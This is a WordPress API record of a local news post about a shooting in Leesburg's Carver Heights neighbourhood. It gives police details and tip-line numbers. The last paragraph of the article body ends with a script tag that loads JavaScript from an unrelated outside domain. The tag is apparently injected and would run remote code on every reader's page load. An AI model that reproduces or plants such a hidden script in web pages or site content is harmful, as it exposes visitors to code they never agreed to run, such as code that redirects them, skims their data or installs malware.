{"id":211373,"date":"2016-12-19T10:48:26","date_gmt":"2016-12-19T15:48:26","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=211373"},"modified":"2017-11-04T15:05:12","modified_gmt":"2017-11-04T19:05:12","slug":"leesburg-man-serious-condition-carever-heights-shooting","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/leesburg-man-serious-condition-carever-heights-shooting\/","title":{"rendered":"Leesburg Man in Serious Condition After Carver Heights Shooting"},"content":{"rendered":"<p><strong>LEESBURG &#8211;\u00a0<\/strong>One man is in the hospital in serious condition after a shooting in Carver Heights Sunday night, police say.<\/p>\n<p>According to Lt. Joe Iozzi, Leesburg police responded to a call at a home on Talladega Street in Leesburg at approximately 8:30 pm Sunday night in reference to a shooting.<\/p>\n<p>Officers arrived to find Eugene Morton III, 24, with gunshot wounds to his head and shoulder.<\/p>\n<p>&#8220;At this time, his injuries appear to be non-life-threatening and it&#8217;s evident he was shot twice in the left shoulder and once in the head\/face during the incident,&#8221; Iozzi stated.<\/p>\n<p>Morton was airlifted to Ocala Regional Medical Center where he was listed in serious condition.<\/p>\n<p>The shooting occurred near the intersection of Talladega Street and Waitman Avenue.<\/p>\n<p>Police had both streets blocked off while officers investigated the scene.<\/p>\n<p>Leesburg Police and Lake County Sheriff&#8217;s CSI managed to recover several pieces of physical evidence at the scene.<\/p>\n<p>The incident is still under investigation.<\/p>\n<p>Detectives are asking anyone with information regarding this incident to contact Leesburg Detectives at (352)728-9862 or remain anonymous\u00a0by calling, CRIMELINE at 1-800-423-TIPS<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LEESBURG &#8211;\u00a0One man is in the hospital in serious condition after a shooting in Carver Heights Sunday night, police say. According to Lt. Joe Iozzi,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":210562,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1],"tags":[],"class_list":["post-211373","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2016\/11\/crime-scene-generic-shooting.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211373","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=211373"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211373\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/210562"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=211373"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=211373"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=211373"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}